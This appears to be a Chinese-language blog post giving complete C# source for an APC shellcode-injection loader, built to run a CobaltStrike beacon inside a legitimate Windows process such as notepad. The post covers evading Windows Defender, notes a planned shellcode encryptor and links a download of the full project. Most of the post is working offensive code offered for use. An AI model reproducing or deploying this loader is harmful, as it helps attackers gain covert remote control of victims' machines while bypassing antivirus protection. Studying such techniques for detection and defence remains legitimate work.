ShellCode注入

将shellcode注入到系统正常进程当中,实现CobaltStrike上线,且达到部分平台的免杀效果。具体原理就不多说了,因为我也描述不出来,所以直接上代码吧。

打算将下述几种注入方式都单独实现一下,学习。

来源及实现

参考项目地址为:https://github.com/plackyhacker/Shellcode-Injection-Techniques

本人仅将该项目单独提取出来实现,并添加一小部分免杀行为,从而实现目标上线。

原文所有注入技术包含:

  • APCInject-异步过程调用注入

  • ClassicInject-经典注入

  • ThreadHijack-线程劫持

  • LocalThreadHijack-本地线程劫持

  • ProcessHollow-过程空心化

  • InterProcessMappedView-进程间映射视图

  • AtomBomb-原子轰炸

但是我尝试将该项目的APC注入代码单独提取出来运行时,无法上线,遂考虑其他方式。

APCInject

这种技术类似于线程劫持技术,将 shellcode 注入远程线程,然后在线程中排列一个APC对象。当线程进入警报状态时(当它调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx或时WaitForSingleObjectEx),它运行我们排列的APC对象指向的 shellcode。

实现过程

  • 获取指定进程的线程

ProcessThread thread = GetThread(target.Threads);

- 获取线程的句柄

IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id);
  • 为shellcode分配内存

IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);
  • 将shellcode写入分配的内存中

WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);
  • 添加异步过程调用

QueueUserAPC(pAddr, hThread, IntPtr.Zero);

使用该方式未正常上线。

问题

编译机器打开了Windows Defender,但是关闭了自动提交样本功能;最终生成的exe没有被杀,但是shellcode被杀了,所以后续还得考虑单独写个shellcode加密器。

然后临时关闭Windows Defender测试能否正常上线。

![

前提条件:需要tasklist进程列表中有该进程才能成功注入;即若想将shellcode注入到notepad中,则需要先打开一个notepad才行,不然的话无法上线。

注意问题:如果将shellcode注入到explorer进程中,在cobaltstrike中将目标exit的时候,目标机器的explorer进程也会退出,屏幕会闪一下。

最终代码

上面参考项目的APC注入代码调试的时候无法上线,具体问题我也不会排查,代码功底不够,若有大佬能够解决就更好了。

目录结构:

APCInject.cs 文件是主文件,包含了入口函数以及其他相关函数。

TestNoAPC.cs 文件是上面参考项目单独提取后所需的关联方法以及相关引用等。

TestOkAPC.cs 文件是测试能够成功上线方式所需要的关联方法以及相关应用等。

APCInject.cs

using System;

using System.IO;

//using static APCInject.TestNoAPC; 

using static APCInject.TestOkAPC;

// 如果要调试无法成功上线的那个方式,将NoAPC取消注释,将OkAPC添加注释。

namespace APCInject

{

    class APCInject

    {

        static string Base64Shellcode(string shellcodePath)

        {

            byte[] code = File.ReadAllBytes(shellcodePath);

            string base64Code = Convert.ToBase64String(code);

            return base64Code;

        }

        static void Main(string[] args)

        {

            if (args.Length == 2)

            {

                string target = args[0];

                string shellcodePath = args[1];

                APCInjectFunYes(target, shellcodePath);

                //Process target = Process.GetProcessesByName(args[0])[0];

                //APCInjectFunNo(target, args[1]);

            }

            else

            {

                Console.WriteLine("test.exe [notepad] [d:\\test\\beacon.bin]");

            }

        }

         //* 这是参考项目中单独提取出来的部分,但是无法上线。

         /*

        static void APCInjectFunNo(Process target, string shellcodePath)

        {

            // 将base64编码后的shellcode传入,并从base64转为byte[]类型

            byte[] shellcode = Convert.FromBase64String(Base64Shellcode(shellcodePath));

            // 获取指定进程的线程

            ProcessThread thread = GetThread(target.Threads);

            Console.WriteLine(thread.Id);

            // 获取线程的句柄

            IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id);

            // 为shellcode分配内存

            IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE);

            // 将shellcode写入分配的内存中

            WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten);

            // 添加异步过程调用

            QueueUserAPC(pAddr, hThread, IntPtr.Zero);

            //ResumeThread(hThread);

        }

        static ProcessThread GetThread(ProcessThreadCollection threads)

        {

            Console.WriteLine(threads[0]);

            // find a thread

            // it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread

            return threads[0];

            // you could loop through the threads looking for a better one

            //foreach(ProcessThread thread in threads)

            //{

            //}

        }

        */

        static void APCInjectFunYes(string target, string shellcodePath)

        {

            byte[] shellcode = Convert.FromBase64String(Base64Shellcode(shellcodePath));

            uint lpNumberOfBytesWritten = 0;

            // 获取进程信息

            PROCESS_INFORMATION processInfo = StartProcess(target);

            // 获取进程句柄?

            IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);

            // 为shellcode分配内存

            IntPtr pAddr = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);

            // 将shellcode写入分配的内存中

            bool write = WriteProcessMemory(pHandle, pAddr, shellcode, (uint) shellcode.Length, ref lpNumberOfBytesWritten);

            if (write)

            {

                // 获取线程句柄

                IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);

                // 添加异步过程调用

                IntPtr ptr = QueueUserAPC(pAddr, tHandle, IntPtr.Zero);

                ResumeThread(tHandle);

            }

            bool hOpenProcessClose = CloseHandle(pHandle);

        }

    }

}

```

TestOkAPC.cs

``` c#

using System;

using System.Runtime.InteropServices;

namespace APCInject

{

    class TestOkAPC

    {

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

        public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

        public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

        public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

        public static extern uint ResumeThread(IntPtr hThread);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

        public static extern bool CloseHandle(IntPtr hObject);

        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]

        public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);

        public enum ProcessAccessRights

        {

            All = 0x001F0FFF,

            Terminate = 0x00000001,

            CreateThread = 0x00000002,

            VirtualMemoryOperation = 0x00000008,

            VirtualMemoryRead = 0x00000010,

            VirtualMemoryWrite = 0x00000020,

            DuplicateHandle = 0x00000040,

            CreateProcess = 0x000000080,

            SetQuota = 0x00000100,

            SetInformation = 0x00000200,

            QueryInformation = 0x00000400,

            QueryLimitedInformation = 0x00001000,

            Synchronize = 0x00100000

        }

        public enum ThreadAccess : int

        {

            TERMINATE = (0x0001),

            SUSPEND_RESUME = (0x0002),

            GET_CONTEXT = (0x0008),

            SET_CONTEXT = (0x0010),

            SET_INFORMATION = (0x0020),

            QUERY_INFORMATION = (0x0040),

            SET_THREAD_TOKEN = (0x0080),

            IMPERSONATE = (0x0100),

            DIRECT_IMPERSONATION = (0x0200),

            THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,

            THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION

        }

        public enum MemAllocation

        {

            MEM_COMMIT = 0x00001000,

            MEM_RESERVE = 0x00002000,

            MEM_RESET = 0x00080000,

            MEM_RESET_UNDO = 0x1000000,

            SecCommit = 0x08000000

        }

        public enum MemProtect

        {

            PAGE_EXECUTE = 0x10,

            PAGE_EXECUTE_READ = 0x20,

            PAGE_EXECUTE_READWRITE = 0x40,

            PAGE_EXECUTE_WRITECOPY = 0x80,

            PAGE_NOACCESS = 0x01,

            PAGE_READONLY = 0x02,

            PAGE_READWRITE = 0x04,

            PAGE_WRITECOPY = 0x08,

            PAGE_TARGETS_INVALID = 0x40000000,

            PAGE_TARGETS_NO_UPDATE = 0x40000000,

        }

        [StructLayout(LayoutKind.Sequential)]

        public struct PROCESS_INFORMATION

        {

            public IntPtr hProcess;

            public IntPtr hThread;

            public int dwProcessId;

            public int dwThreadId;

        }

        [StructLayout(LayoutKind.Sequential)]

        internal struct PROCESS_BASIC_INFORMATION

        {

            public IntPtr Reserved1;

            public IntPtr PebAddress;

            public IntPtr Reserved2;

            public IntPtr Reserved3;

            public IntPtr UniquePid;

            public IntPtr MoreReserved;

        }

        [StructLayout(LayoutKind.Sequential)]

        public struct STARTUPINFO

        {

            uint cb;

            IntPtr lpReserved;

            IntPtr lpDesktop;

            IntPtr lpTitle;

            uint dwX;

            uint dwY;

            uint dwXSize;

            uint dwYSize;

            uint dwXCountChars;

            uint dwYCountChars;

            uint dwFillAttributes;

            public uint dwFlags;

            public ushort wShowWindow;

            ushort cbReserved;

            IntPtr lpReserved2;

            IntPtr hStdInput;

            IntPtr hStdOutput;

            IntPtr hStdErr;

        }

        public static PROCESS_INFORMATION StartProcess(string binaryPath)

        {

            uint flags = 0x00000004;

            STARTUPINFO startInfo = new STARTUPINFO();

            PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();

            CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);

            return procInfo;

        }

    }

}

TestNoAPC.cs


using System;

using System.Runtime.InteropServices;

namespace APCInject

{

    class TestNoAPC

    {

        [DllImport("kernel32.dll")]

        public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, UInt32 dwThreadId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll")]

        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]

        public static extern Int32 QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

        [Flags]

        public enum ThreadAccess : UInt32

        {

            TERMINATE = 0x0001,

            SUSPEND_RESUME = 0x0002,

            GET_CONTEXT = 0x0008,

            SET_CONTEXT = 0x0010,

            SET_INFORMATION = 0x0020,

            QUERY_INFORMATION = 0x0040,

            SET_THREAD_TOKEN = 0x0080,

            IMPERSONATE = 0x0100,

            DIRECT_IMPERSONATION = 0x0200,

            THREAD_ALL_ACCESS = 0x1fffff

        }

        [Flags]

        public enum AllocationType

        {

            NULL = 0x0,

            Commit = 0x1000,

            Reserve = 0x2000,

            Decommit = 0x4000,

            Release = 0x8000,

            Reset = 0x80000,

            Physical = 0x400000,

            TopDown = 0x100000,

            WriteWatch = 0x200000,

            LargePages = 0x20000000

        }

        public enum MemoryProtection : UInt32

        {

            PAGE_EXECUTE = 0x00000010,

            PAGE_EXECUTE_READ = 0x00000020,

            PAGE_EXECUTE_READWRITE = 0x00000040,

            PAGE_EXECUTE_WRITECOPY = 0x00000080,

            PAGE_NOACCESS = 0x00000001,

            PAGE_READONLY = 0x00000002,

            PAGE_READWRITE = 0x00000004,

            PAGE_WRITECOPY = 0x00000008,

            PAGE_GUARD = 0x00000100,

            PAGE_NOCACHE = 0x00000200,

            PAGE_WRITECOMBINE = 0x00000400

        }

    }

}

完整项目文件:

https://blog.axzzsec.com/upload/dev/APCInject.rar

使用visual studio 2022编译。

免杀性

APC注入的免杀效果:

总的来说,免杀性不是很理想。